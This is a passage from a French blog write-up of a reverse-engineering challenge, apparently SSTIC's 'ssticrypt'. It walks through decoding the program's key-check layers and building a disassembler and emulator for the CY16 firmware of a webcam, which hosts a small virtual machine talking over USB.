<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkh6zn6AxJhqvfq3dA1CwCH0GClrWuKuJZT_EO7ploRWYJ05bdLXS3zI9LM7Y1aB99wXIOljQ3sdlF6to3fOm5xWkwFof5eLetiEyDiD1_Dnu6pYxYKOgGRcsfMmn3wrJ8zR8FLCFVQNA/s1600/commit_mips.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkh6zn6AxJhqvfq3dA1CwCH0GClrWuKuJZT_EO7ploRWYJ05bdLXS3zI9LM7Y1aB99wXIOljQ3sdlF6to3fOm5xWkwFof5eLetiEyDiD1_Dnu6pYxYKOgGRcsfMmn3wrJ8zR8FLCFVQNA/s1600/commit_mips.png" /></a></div>
Cette boucle secondaire peut être considérée comme un moyen pour le périphérique USB d'interagir directement avec la zone mémoire <em>RAM</em> du programme <em>ssticrypt</em>, comme si cette dernière était mappée dans son propre adressage mémoire.<br />
<br />
Dès que l'adresse <em>0x8000</em> de la <em>RAM</em> est modifiée, la boucle d'interaction avec le périphérique USB s'interrompt et une vérification est faite sur l'état de la <em>RAM</em> laissé par le périphérique USB (<em>vicpwn_check</em>). Cette vérification est différente à chaque tour de boucle et donc à chaque <em>layer</em>. Si l'état de la <em>RAM</em> est valide vis à vis de <em>vicpwn_check</em>, alors on continue dans <em>vicpwn_handle</em> en chargeant le <em>layer</em> suivant (modifié lors de l'appel de <em>vicpwn_check</em>), sinon on s'arrête pour cause de clé invalide.<br />
<br />
Le pseudo-code (simplifié) de la fonction <em>vicpwn_handle</em> peut se résumer à cela :<br />
<br />
<pre class="brush:python">def vicpwn_handle():
layer = all_layers[0]
addr_ram = 0
for ilayer in xrange(3):
load_layer(layer, ilayer, 0)
set_my_key(key, ilayer, 0xa000)
while ram[0x8000:0x8002] == "\x00\x00":
send_to_usb_device(ram[addr_ram:addr_ram+20],20)
buf = rcv_from_usb_device(20)
addr_write = buf[-4:-2]
addr_ram = buf[-2:]
ram[addr_write:addr_write+16] = buf[:16]
layer = vicpwn_check(i,0xa000,key)
ram[0x8000:0x8002] = "\x00\x00"
</pre>
Remarque: Le premier <em>layer</em> est chargé tel quel dans la <em>RAM</em>. Les suivants sont retournés par <em>vicpwn_check</em> après transformation de leur contenu. On peut donc supposer que les <em>layer2</em> et <em>layer3</em> ne sont pas en clair dans le programme <em>ssticrypt</em>, contrairement au <em>layer1</em>.<br />
<h4>
Fonction load_layer</h4>
La fonction <em>load_layer</em> est appelée à chaque tour de boucle par <em>vicpwn_handle</em>. Sa seule action est de charger à l'adresse 0 de la <em>RAM</em> le <em>layer</em> issu de <em>vicpwn_check</em> (ou le premier <em>layer</em> si nous sommes au premier tour).<br />
<h4>
Fonction set_my_key</h4>
La fonction <em>set_my_key</em> est elle aussi appelée à chaque tour de boucle par <em>vicpwn_handle</em>. Elle charge une partie de la clé à l'adresse <em>0xa000</em> de la RAM.<br />
<br />
Au second tour, les données <em>blob</em> contenues dans les data du programme <em>ssticrypt</em> seront elles aussi chargées dans la RAM à l'adresse <em>0xa010</em>.<br />
<br />
Au troisième tour, ce seront les données <em>blah</em> qui seront chargées en <em>0xa010</em>.<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyCI-j8E-IWt1kSJk-aEJ-M2A_yxOlsDTz4KUg-WexkTu8h3m1KpDArlN_EywjgwajrI0w9Q-tNWg0B0FDcmJiv6R5r3gR0zepgt_mf65dhqmYAiytAUx105jqoGH0SQsj8ZpF5epsoI/s1600/set_my_key.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="317" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiyCI-j8E-IWt1kSJk-aEJ-M2A_yxOlsDTz4KUg-WexkTu8h3m1KpDArlN_EywjgwajrI0w9Q-tNWg0B0FDcmJiv6R5r3gR0zepgt_mf65dhqmYAiytAUx105jqoGH0SQsj8ZpF5epsoI/s400/set_my_key.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
Au premier tour les caractères de 0 à 8 seront chargés en mémoire, au second tour les caractères de 4 à 12 et enfin au 3° tour les caractères de 8 à 16. Comme chaque caractère représente en réalité un chiffre hexadécimal, il est fort probable que le premier tour nous permette de découvrir 4 octets la clé, le suivant 2 nouveaux octets (4 octets au total mais 2 déjà découvert au tour précédent) et enfin le dernier encore 2 nouveaux octets (même remarque que précédemment).</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdatEQ2MP5K-EAsF-G8RG_vMxMgEzbgJZUMBDRuDqZH6YeZWw4yBkPDHMm_xw0wh5dK2cAaZA3_6cRerAmeYnDBFhHIhx6FezORjtg3DlZSO8WLDCKJfixAKzg7Gg7yA8BCfJVBTDgSz8/s1600/mips_key.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdatEQ2MP5K-EAsF-G8RG_vMxMgEzbgJZUMBDRuDqZH6YeZWw4yBkPDHMm_xw0wh5dK2cAaZA3_6cRerAmeYnDBFhHIhx6FezORjtg3DlZSO8WLDCKJfixAKzg7Gg7yA8BCfJVBTDgSz8/s1600/mips_key.png" /></a></div>
<div style="text-align: center;">
<br /></div>
Ce fonctionnement laisse donc penser que comme la découverte de la clé se fait de façon progressive, il serait possible, de lancer un bruteforce sur les derniers octets de la clé (cependant par soucis de compréhension cette technique pour challenger pressé ne sera pas utilisée).<br />
<h4>
Fonction vicpwn_check</h4>
Cette fonction est appelée à la fin de chaque tour de boucle par <em>vicpwn_handle</em> pour vérifier l'état de la <em>RAM</em> et mettre à jour le layer suivant.<br />
<br />
La vérification de l'état de la <em>RAM</em> est propre à chaque tour de boucle (et donc propre au <em>layer</em> chargé), ce qui veut dire que chaque morceau de clé est vérifié de façon différente.<br />
<h5>
Premier tour</h5>
Pour que la clé soit valide au premier tour, il suffit que la <em>RAM</em> à l'adresse <em>0xa000</em> ne soit pas égale aux 4 premiers octets de la clé (pour rappel les 4 premiers octets de la clé sont chargés lors du <em>set_my_key</em> en <em>0xa000</em>). L'équipement USB doit donc changer la clé en <em>0xa000</em> pour que l'on puisse considérer les 4 premiers octets de la clé comme valide, si ce n'est pas le cas alors le programme <em>ssticrypt</em> s'arrètera en disant que la clé est mauvaise.<br />
<br />
Les modifications apportées au <em>layer</em> suivant sont faites à base de <em>XOR</em>. Les deux premiers octets du <em>layer2</em> (contenu dans les data de <em>ssticrypt</em>) sont <em>xorés</em> avec la nouvelle valeur contenue en <em>0xa000</em>, puis les 2 octets suivants sont <em>xorés</em> avec ce résultat et ainsi de suite. Le résultat final donnera le <em>layer</em> qui sera chargé en mémoire. Le programme suivant permet d'effectuer cette transformation.<br />
<br />
<pre class="brush:python">#!/usr/bin/env python
import struct,sys
if len(sys.argv) != 2:
print ("Usage: %s hex_key" % sys.argv[0])
sys.exit(1)
key = int(sys.argv[1],16)
layer1_str = open("layer2.bin","r").read()
layer_size = len(layer1_str)
def swap_word(word):
w1 = word&0xff
w2 = ((word&0xff00)>>8)&0xff
return ((w1<<8 data-blogger-escaped-br="" data-blogger-escaped-w2="" data-blogger-escaped-xffff="">
def swap_key(x):
w1 = (x&0xffff)&0xffff
w2 = ((x&0xffff0000)>>16)&0xffff
w1 = swap_word(w1)
w2 = swap_word(w2)
return ((w2<<16 data-blogger-escaped-br="" data-blogger-escaped-w1="" data-blogger-escaped-xffffffff="">
def unpack(s):
return struct.unpack(">I",s)[0]
def pack(i):
return struct.pack(">I",i)
key = swap_key(key)
count = 1
ptr = pack(key ^ unpack(layer1_str[:4]))
while True:
if count >= (layer_size-2)/4:
f=open("layer2_unencode.bin","wb")
f.write(ptr)
f.close()
sys.exit(0)
a0 = unpack(layer1_str[count*4:(count+1)*4])
v0 = ((1 - count)*4)
v0 = -v0
v0 = unpack(ptr[v0:v0+4])
ptr = ptr + pack(v0 ^ a0)
count += 1
<!--16--><!--8-->
</pre>
<br />
La transformation du <em>layer2</em> étant dépendante de la valeur en <em>RAM</em> à l'adresse <em>0xa000</em> (modifiée par le dispositif USB), il n'est pas possible de décoder le <em>layer2</em> à cet instant.<br />
<h5>
Deuxième tour</h5>
Pour que la clé soit valide au deuxième tour, il suffit que la <em>RAM</em> à l'adresse <em>0xa108</em> soit différente de <em>0xffff</em>. A cette adresse normalement il y a les 2 derniers octets de <em>blob</em> cité plus haut. Ces deux octets sont différents de <em>0xffff</em>, on peut donc conclure que le contenu de <em>blob</em> est modifié par le dispositif USB.<br />
<br />
Les modifications apportées au <em>layer</em> suivant sont basées sur le contenu final du <em>blob</em>. Les octets du <em>layer3</em> sont <em>xorés</em> avec les valeurs contenues l'intérieur. Contrairement au tour précédent, une opération dépendante des valeurs du <em>blob</em> permet de trouver quelle valeur du <em>blob</em> il faut utiliser pour le <em>xor</em>.<br />
<br />
La fonction C suivante permet de déchiffrer le contenu du <em>layer</em> grâce au <em>blob</em>.<br />
<br />
<pre class="brush:cpp">void unencode_layer3(uint8_t *layer, uint8_t *blob, uint8_t *ptr) {
uint16_t count = 0;
uint8_t byte = 0;
uint8_t store1 = 0;
while(count<SIZE_LAYER) {
uint8_t store2;
uint8_t addr;
uint8_t v1,v0,a0,a2;
byte += 1;
// SWAP
// Comme store1 est sur 8 bits et que blob fait 256 octets,
// l'overflow ne pose pas de problème
store1 += VALUE_AT(blob+byte);
store2 = VALUE_AT(blob+byte);
v1 = VALUE_AT(blob+store1);
VALUE_AT(blob+byte) = v1;
VALUE_AT(blob+store1) = store2;
a2 = VALUE_AT(layer+count);
a0 = VALUE_AT(blob+byte);
v0 = VALUE_AT(blob+store1);
v1 = (v0+a0) & 0xff;
v0 = VALUE_AT(blob+v1);
v0 ^= a2;
VALUE_AT(ptr+count) = v0;
count += 1;
}
}
</pre>
<h5>
Troisième tour</h5>
Le troisième et dernier tour effectue une comparaison de chaînes de caractères pour savoir si la clé est correcte. Il faut que la <em>RAM</em> à l'adresse <em>0xa010</em> contienne une chaîne de caractères qui soit égale à <em>V29vdCAhISBTbWVsbHMgZ29vZCA6KQ==</em> (soit <em>Woot !! Smells good :)</em> en base64).<br />
<br />
Si à chaque tour les vérifications sont correctes, la clé finale est alors la bonne. Dans les autres cas, le programme <em>ssticrypt</em> s'arrête.<br />
<br />
A chaque tour pour savoir si les morceaux de clé sont correctes, il faut que le contenu de la <em>RAM</em> ait une certaine valeur. Or celle-ci n'est modifiée que par le dispositif USB. Donc pour réellement comprendre comment est modifiée la RAM, il faut comprendre quelles sont les actions menées par le dispositif USB.<br />
<br />
Les seules informations que nous avons sur ce périphérique USB sont les identifiants <em>0x41c</em> et <em>0x9d</em>, et les drivers embarqués dans le système Linux correspondant à l'image. Après quelques recherches, le périphérique en question est controlé par le driver <em>vicam</em>, un driver de <a href="http://homeconnectusb.sourceforge.net/">webcam</a>.<br />
<br />
Etant donné qu'il y a peu de chance qu'une webcam embarque de base un code faisant des vérifications sur une clé pour valider un challenge, le reverse des firmwares <em>init.rom</em> et <em>stage2.rom</em> envoyé au démarrage à la caméra semble malheureusement la seule solution.<br />
<h3>
CPU CY16</h3>
Après de nombreuses recherches sur le net, la caméra en question semble posséder un CPU <em>cy16</em>, dont bien sûr nous ne connaissons rien. La seule documentation trouvée est quand même relativement complète sur le site <a href="http://homeconnectusb.sourceforge.net/">cypress</a>. Nous n'avons toutefois aucune certitude sur ce CPU.<br />
<br />
D'autres recherches nous apprennent que des outils de developpement existent pour ce CPU, mais qu'ils ne sont disponibles qu'avec l'achat d'une carte <em>cypress</em>... tentant mais onéreux juste pour un challenge, surtout quand on a pas la certitude du processeur.<br />
<br />
La documentation trouvée étant relativement complète, un désassembleur a été developpé pour comprendre les firmwares <em>init.rom</em> et <em>stage2.rom</em>. De par mon manque d'expérience en reverse, un émulateur a aussi été écrit, pour confirmer l'analyse statique de ces firmwares.<br />
<h4>
Désassembleur <em>CY16</em></h4>
L'écriture d'un désassembleur n'est en soit pas si difficile que ça (si on omet tous les bugs que l'on peut avoir, la mauvaise compréhension de la documentation, ou encore les informations manquantes). Il faut cependant prévoir tous les cas possibles et la moindre erreur provoque un décalage qui fait que toute la suite du code sera mal désassemblée.<br />
<br />
Les premiers résultats du désassembleur étaient tout simplement catastrophiques... et le code produit ne voulait strictement rien dire... remettant en cause régulièrement la véracité du CPU.<br />
<br />
Pour essayer de limiter les erreurs, des warnings ont été affichés à chaque fois qu'un <em>JMP</em> ou un <em>CALL</em> se faisait sur une adresse non valide.<br />
<br />
<pre class="brush:plain">Warning: 0x0 point to [0x8a9] which is not an instruction
Warning: 0x8c point to [0xe8] which is not an instruction
Warning: 0xfc point to [0x4da] which is not an instruction
Warning: 0x18c point to [0x1a6] which is not an instruction
Warning: 0x198 point to [0x1a6] which is not an instruction
[..]
Warning: 0x782 point to [0x4da] which is not an instruction
Warning: 0x7a2 point to [0x4da] which is not an instruction
Warning: 0x7b0 point to [0x4da] which is not an instruction
Warning: 0x8ae point to [0x1bd] which is not an instruction
Warning: 0xa70 point to [0x1] which is not an instruction
Warning: 0xa70 point to [0xa74] which is not an instruction
b6 c3 a9 08 0000 JNC [$r14+0x8a9] (to [0x8a9])
02 64 0004 AND $r2 , [$r8]
e7 07 76 00 aa 00 0006 MOV [0xaa] , 0x76
e7 07 56 f7 b4 00 000c MOV [0xb4] , 0xf756
c8 07 1a 01 0012 MOV $r8 , 0x11a
e0 07 00 40 0016 MOV [$r8] , 0x4000
ADDI $r8 , 2
e0 07 00 00 001a MOV [$r8] , 0x0
ADDI $r8 , 2
e0 07 00 00 001e MOV [$r8] , 0x0
ADDI $r8 , 2
97 cf 0022 RET
00 00 0024 MOV $r0 , $r0
[...]
00 00 0054 MOV $r0 , $r0
00 00 0056 MOV $r0 , $r0
00 00 0058 MOV $r0 , $r0
f1 ff 005a UKN ?????????
f2 ff 005c UKN ?????????
f3 ff 005e UKN ?????????
f4 ff 0060 UKN ?????????
f5 ff 0062 UKN ?????????
ff ff 0064 UKN ?????????
ff ff 0066 UKN ?????????
[...]
</pre>
En téléchargeant plusieurs firmwares sur internet et en les comparant, il a été possible de détecter une sorte de header (<em>b6c3</em> + 4 octets inconnus), que bien entendu il ne faut pas considérer comme des <em>opcodes</em>.<br />
<br />
Finalement et à force de suppositions (sur lesquelles ont longtemps planées un doute), il a été possible de séparer des zones comme étant des données et non plus des <em>opcodes</em>, pour au final obtenir un désassemblage intéressant et cohérent.<br />
<br />
<pre class="brush:plain">$ ./sstic_pwn.py -c <em>cy16</em> -o 6 -x stage2.rom
e7 07 76 00 aa 00 0000 MOV [0xaa] , 0x76
e7 07 56 f7 b4 00 0006 MOV [0xb4] , 0xf756
c8 07 1a 01 000c MOV $r8 , 0x11a
e0 07 00 40 0010 MOV [$r8] , 0x4000
ADDI $r8 , 2
e0 07 00 00 0014 MOV [$r8] , 0x0
ADDI $r8 , 2
e0 07 00 00 0018 MOV [$r8] , 0x0
ADDI $r8 , 2
97 cf 001c RET
-----------------------------------------------
00 00 00 00 00 00 001e
00 00 00 00 00 00 0024
00 00 00 00 00 00 002a
00 00 00 00 00 00 0030
00 00 00 00 00 00 0036
00 00 00 00 00 00 003c
00 00 00 00 00 00 0042
00 00 00 00 00 00 0048
00 00 00 00 00 00 004e
f1 ff f2 ff f3 ff 0054
f4 ff f5 ff ff ff 005a
ff ff ff ff ff ff 0060
ff ff 00 00 54 00 0066
00 00 00 00 00 00 006c
00 00 00 00 00 0e 0072
01 00 0078
-----------------------------------------------
c0 57 51 00 007a CMP $r0 , 0x51
05 c0 007e JZ +0x5 (to [0x8a])
c0 57 56 00 0080 CMP $r0 , 0x56
14 c0 0084 JZ +0x14 (to [0xae])
9f cf e8 00 0086 JMP 0xe8 (to [0xe8])
c9 07 68 00 008a MOV $r9 , 0x68
41 08 008e MOV $r1 , [$r9]
ADDI $r9 , 2
4a 08 0090 MOV $r10 , [$r9]
ADDI $r9 , 2
48 d8 0092 ADDI $r8 , 2
22 08 0094 MOV [$r10] , [$r8]
ADDI $r8 , 2
ADDI $r10 , 2
21 08 0096 MOV [$r9] , [$r8]
ADDI $r8 , 2
ADDI $r9 , 2
48 02 0098 MOV $r8 , $r9
61 94 009a XOR [$r9] , [$r9]
ADDI $r9 , 2
61 00 009c MOV [$r9] , $r1
ADDI $r9 , 2
e1 07 10 00 009e MOV [$r9] , 0x10
ADDI $r9 , 2
e1 07 f6 00 00a2 MOV [$r9] , 0xf6
ADDI $r9 , 2
c1 07 00 80 00a6 MOV $r1 , 0x8000
51 af 00aa INT [0x51]
97 cf 00ac RET
[..]</pre>
L'option <em>-x</em> demande le désassemblage, l'option <em>-o</em> spécifie l'offset de début (pour sauter le <em>header</em>) et l'option <em>-c</em> dit que le CPU est un <em>cy16</em> (deux seulement existent, <em>cy16</em> et <em>vm</em> qui sera vu par la suite). Les adresses de données sont stockées en dures[3. Elles se trouvent de <em>0x1e</em> à <em>0x7a</em>, de <em>0xfe</em> à <em>0x146</em>, et enfin de <em>0x8a8</em> à <em>0xa6e</em>] (c'est mal !).<br />
<br />
A cet instant tous les <em>JMP</em> et <em>CALL</em> se font a des adresses valides, mais deux <em>opcodes</em> restent inconnus et non documentés et ont les valeurs <em>0xdfc6</em> et <em>0xdfc7</em>. Le dernier opcode documenté a la valeur <em>0xdfc5</em>, ce qui nous laisse supposer que nous avons la bonne famille de CPU mais pas exactement le bon CPU (ou que la documentation n'est pas à jour).<br />
<br />
Pour simplifier le reverse, un graphique a été généré permettant de comprendre l'enchainement des blocs (grâce à <em>graphviz</em>).<br />
<br />
<pre class="brush:plain">$ ./sstic_pwn -o 6 -g stage2.png stage2.rom
</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1djcK8KMzAmPpwVof6uRK5xL3sHgmyDcw-xhvRs9bcgxayIa1u0DzAjrf6ekgLI-q0uRWzZAIYHpssSiKZCdSukhFI5aovLYkWejW-q2PeaMc-3aA5C5vINezvJI2o1rRMJpZpU0bzWQ/s1600/stage2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="547" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1djcK8KMzAmPpwVof6uRK5xL3sHgmyDcw-xhvRs9bcgxayIa1u0DzAjrf6ekgLI-q0uRWzZAIYHpssSiKZCdSukhFI5aovLYkWejW-q2PeaMc-3aA5C5vINezvJI2o1rRMJpZpU0bzWQ/s640/stage2.jpg" width="640" /></a></div>
<br />
<br />
<h4>
Emulateur <em>CY16</em></h4>
L'émulateur <em>CY16</em> développé <em>from scratch</em> gère tous les <em>opcodes</em> (<em>MOV</em>, <em>CALL</em>, <em>JMP</em>...), les flags et quelques interruptions. Il possède de plus certaines fonctionnalités nécessaires à son utilisation :<br />
<br />
<ul>
<li>gestion de l'historique des commandes</li>
<li><em>breakpoints</em>, <em>breakpoints</em> conditionnels, <em>breakpoint</em> en lecteur sur zone mémoire, <em>breakpoint</em> en écriture sur zone mémoire...</li>
<li>affichage de zones mémoire de la caméra ou de la <em>RAM</em> du <em>MIPS</em>, registres ou flags</li>
<li>possibilité d'exécuter des commandes quand on arrive à certaines adresses (de façon conditionnelle)</li>
<li>pas à pas, saut dans un call ...</li>
<li>possibilité d'automatisation via l'exécution d'un script</li>
</ul>
Voilà un exemple de script utilisé:<br />
<br />
<pre class="brush:plain">key = "\xbb\xaa\xdd\xcc"
extra = open("blob.bin","rb").read()
self.cpu.ram_mips = open("layer2_unencode.bin","rb").read()
self.cpu.ram_mips = self.cpu.ram_mips + "\x00"*(0x10000-len(self.cpu.ram_mips))
self.cpu.ram_mips = self.cpu.ram_mips[0:0xa000] + key +
self.cpu.ram_mips[0xa000+len(key):]
self.cpu.ram_mips = self.cpu.ram_mips[0:0xa010] + extra +
self.cpu.ram_mips[0xa010+len(extra):]
self.cpu.registers[15].val = 0x950
self.cpu.ram[0x11a] = "\x00\x40"
self.cpu.registers[8].val = 0x120
start 0x8a
#h 0xaa print "DATA at %s" % hex(self.cpu.unpack(
self.cpu.ram[self.cpu.registers[8].val+2]))
#h 0x4f4 print "First bit = %u" % self.cpu.registers[0].val
#h 0x502 print "2,3,4 bit = %u" % self.cpu.registers[0].val
#h 0x544 print "OPCODE = %u" % self.cpu.registers[0].val
#h 0x42e print "OPERAND = %r" % self.cpu.ram[0x126:0x128]
#h 0x26c print "NB_BITS:%r" % self.cpu.registers[0].val,
#h 0x2c6 print "VALUE:%s" % hex(self.cpu.registers[0].val)
#h 0x4d6 print "IMMEDIATE VALUE"
#h 0x4a8 print "DIRECT ADDRESSING"
#h 0x3ee print "MOVO"
#h 0x49a print "AUTRE: 1"
#h 0x454 print "AUTRE: 2"
#h 0x226 print "SIZE: %s" % hex(self.cpu.registers[10].val)
######## WARNINGS #######
#h 47e print "WARNING Unknown OPCODE 2 !!!''
#h 7b6 print "WARNING 1 *****************************"
#h 7e0 print "WARNING 2 *****************************"
#h 6ac print "WARNING UKN1 dans MOV *****************"
#h 620 print "WARNING ** REGISTRE 15 (0x620)"
#h 644 print "WARNING ** REGISTRE 14, on décrément le compteur (0x644)"
#h 6c0 print "WARNING ** On va jouer avec PC (0x6c0)"
#h 7e0 print "WARNING ** On va jumper mechant (0x7e0)"
#h 7b6 print "WARNING ** Sauvegarde PC (0x7b6)"
######## CMDS ###########
h 0x5be self.cpu.cmd="NOT"
h 0x58e self.cpu.cmd="AND"
h 0x588 self.cpu.cmd="OR"
h 0x60a self.cpu.cmd="MOV"
h 0x600 self.cpu.cmd="SHL"
h 0x5f6 self.cpu.cmd="SHR"
h 0x566 self.cpu.cmd="JMP"
h 0x4ec self.last_addr=hex(self.cpu.unpack(self.cpu.ram[0x11c:0x11e])*8
+self.cpu.unpack(self.cpu.ram[0x11e:0x120]))
h 0x4de if self.cpu.cmd is not None: print "%s => %s " %
(self.last_addr,self.cpu.cmd)</pre>
<h4>
stage2.rom</h4>
L'analyse approfondie du <em>stage2.rom</em> via le désassembleur et l'émulateur nous permet d'aboutir à la conclusion que ce firmware implémente une machine virtuelle possédant son propre jeu d'instruction. L'état de cette machines virtuelle (registres, flags...) est en réalité situé dans ce que nous avons appelé les données du <em>stage2.rom</em> et est développé dans le chapitre XXX.<br />
<br />
La fonction principale située à l'adresse <em>0x4da</em> permet en fonction des données en entrée d'exécuter la bonne instruction. Un pseudo-code ultra simplifié de cette fonction serait le suivant :<br />
<br />
<div class="code">
<pre>Si opcode == 0:
AND_OPCODE()
Sinon Si opcode == 1:
OR_OPCODE()
Sinon Si opcode == 2:
NOT_OPCODE()
Sinon Si opcode == 3:
SHL_or_SHR_OPCODE()
Sinon Si opcode == 4:
MOV_OPCODE()
Sinon Si opcode > 4:
JMP_or_CALL_OPCODE()</pre>
</div>
<h5>
Communication USB</h5>
Les communications USB avec la machine <em>MIPS</em> sont réalisées par la fonction à l'adresse <em>0x7a</em>. Que ce soit pour l'envoi ou la réception de données, la structure de données suivantes semble être utilisée :<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKdlJbXnQS_5QBbIw5XPm7Fi3Pw69VrYAVbb4ih2kqwHpiwM0UE0f8zJYfMkD7BRE-TbH5ogzVcgw3tTI06g1zyB6ROg19iiaYH3Ys3s6S-n3Zj-GHpal6ad6PdCfiQetYUvx21OWMXVI/s1600/usb_structure.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="193" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKdlJbXnQS_5QBbIw5XPm7Fi3Pw69VrYAVbb4ih2kqwHpiwM0UE0f8zJYfMkD7BRE-TbH5ogzVcgw3tTI06g1zyB6ROg19iiaYH3Ys3s6S-n3Zj-GHpal6ad6PdCfiQetYUvx21OWMXVI/s400/usb_structure.png" width="400" /></a></div>
S'il s'agit d'une réception USB alors l'interruption <em>0x51</em>[4. <em>USB_RECEIVE_INT</em>] sera appelée puis la <em>callback</em> située en <em>0xf6</em>. Elle appelle la fonction principale qui permet de parser et exécuter les <em>opcodes</em> puis appelle l'interruption <em>0x59</em>[5. <em>USB_FINISH_INT</em>] qui termine la communication USB.<br />
<br />
S'il s'agit d'un envoi USB alors l'interruption <em>0x50</em>[6. <em>USB_SEND_INT</em>] est appelée puis la <em>callback</em> située en <em>0xe8</em>.<br />
<br />
Pour émuler l'interruption <em>0x51</em> (réception), le registre d'instruction est modifié pour prendre l'adresse du <em>handle</em> de la structure précédemment décrite. De plus une partie de la mémoire <em>RAM</em> du <em>MIPS</em> est copiée dans la mémoire de la caméra. La taille de cette zone mémoire est précisée dans la structure mais est toujours la même (<em>0x10</em>). L'adresse dans la <em>RAM</em> du <em>MIPS</em> dépend du précédent envoi USB. L'adresse destination dans la mémoire de la caméra évolue avec le temps et sera développée plus tard.<br />
<br />
Pour émuler l'interruption <em>0x50</em> (envoi), le registre d'instruction est modifié pour prendre l'adresse du <em>handle</em> de la structure. De plus une partie de la mémoire de la caméra est copiée dans la mémoire <em>RAM</em> du <em>MIPS</em>. L'adresse de destination dans la <em>RAM</em> du <em>MIPS</em> dépend de l'avant dernier mot de la zone mémoire.<br />
<br />
Pour émuler l'interruption <em>0x59</em> (terminaison), un tour sur deux l'adresse <em>0xae</em> est mise en sommet de pile et l'autre tour c'est au tour de l'adresse <em>0x8a</em>. Ce fonctionnement permettra d'alterner entre l'envoi et la réception USB. Ce fonctionnement n'est bien entendu pas correct, mais dans ce cas précis, il est conforme à ce que fait le programme <em>MIPS</em>.<br />
<h5>
Mapping de la mémoire</h5>
Certaines instructions ont besoin d'un accès direct à la <em>RAM</em>} du <em>MIPS</em> que ce soit en écriture ou simplement en lecture. Il est donc nécessaire de faire un mapping de ces zones dans la mémoire de la caméra, comme cela a déjà été vu dans le détail de la fonction <em>vicpwn_handle</em>. La fonction située en <em>0x1da</em> a un lien direct avec ce besoin.<br />
<br />
L'objectif de cette fonction est double, si la mémoire <em>MIPS</em> nécessaire à une instruction est disponible (mappée dans la mémoire de la caméra), alors son adresse dans la mémoire de la caméra sera retournée.<br />
<br />
<pre class="brush:plain">$ ./sstic_pwn.py -d -o 6 stage2.rom
...
>>> b 1da
>>> r
BREAKPOINT 1 !
01da MOV $r5 , $r0
>>> ir
$r0 => 0xa000
...
>>> b 228
>>> r
BREAKPOINT 2 !
0228 ADD $r0 , $r10
>> ir
$r0 => 0x0
...
>> x 2 0
bb aa</pre>
Dans cet exemple, l'adresse <em>RAM</em> <em>MIPS</em> en <em>0xa000</em> sera mappée en <em>0x0</em> de la mémoire de la caméra.<br />
<br />
Le deuxième objectif de cette fonction est de demander un mapping de la mémoire si cette dernière ne l'est pas. Pour cela, la fonction utilise la zone mémoire allant de <em>0x54</em> à <em>0x5c</em> pour connaitre quelles sont les zones actuellement mappées. Il y a donc 5 zones mémoire qui peuvent être mappées au même moment dans la caméra. Chaque zone mémoire ayant une taille de 16 octets. La zone mémoire correspondant à l'adresse MIPS située en 0x54, sera située en 0x0, la zone mémoire correspondant à l'adresse MIPS située en 0x56 sera située en 0x10, ainsi de suite.<br />
<br />
Dans notre exemple précédent l'adresse <em>0xf</em> de la caméra correspondra donc à l'adresse <em>0xa00f</em> de la <em>RAM</em> du <em>MIPS</em>, l'adresse <em>0x10</em> correspondra à une zone mémoire complètement différente (ici <em>0x10</em> dans la <em>RAM</em> du <em>MIPS</em>[7. L'exemple n'est pas le meilleur qui soit...]).<br />
<br />
<pre class="brush:plain">$ ./sstic_pwn.py -d -o 6 stage2.rom
...
>> x 10 54
00 a0 10 00 20 00 f4 ff f5 ff</pre>
Si la zone mémoire n'est pas mappée, alors la fonction (en jouant avec les adresses de retour des fonctions), va faire une demande via l'USB au <em>MIPS</em> pour mapper cette mémoire et la même instruction sera réexécutée et pourra être menée à son terme (si plus aucune zone mémoire ne vient à manquer).<br />
<br />
Le mapping d'une zone mémoire, entraîne le demapping d'une autre zone mémoire, étant donné que la quantité de zone mémoire mappée est limitée à 5. Pour cela, via un système de compteur situé dans les zones mémoire allant de <em>0x54+10</em> à <em>0x5c+10</em>, la zone mémoire la plus ancienne non utilisée (celle qui a le compteur le plus élevé) est demappée puis commitée dans le <em>MIPS</em>. A chaque fois qu'une zone mémoire est utilisée, son compteur est mis à 0, et à chaque fois que la fonction est appelée, tous les compteurs sont augmentés de 1. Ce système permet de s'assurer que les zones mémoires utilisées en dernier seront demappées les premières (car les moins suceptibles d'être utilisée).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH574ngVPsOwwsecpEKxM2RWYjrJpsnXz-Kyf3pX9eOoaqqKFhjvpi6iDTw8aiRuVObuHeH8PbiXbhc-zKhLUeYdIFiAKs5HbBvMZQwgeI6r7-ZKM33G6fLLlh2JuRCkaYWgHSdvkvcWs/s1600/mapping_memoire.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="261" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH574ngVPsOwwsecpEKxM2RWYjrJpsnXz-Kyf3pX9eOoaqqKFhjvpi6iDTw8aiRuVObuHeH8PbiXbhc-zKhLUeYdIFiAKs5HbBvMZQwgeI6r7-ZKM33G6fLLlh2JuRCkaYWgHSdvkvcWs/s400/mapping_memoire.png" width="400" /></a></div>
<h5>
Lecture des <em>opcodes</em> de la VM</h5>
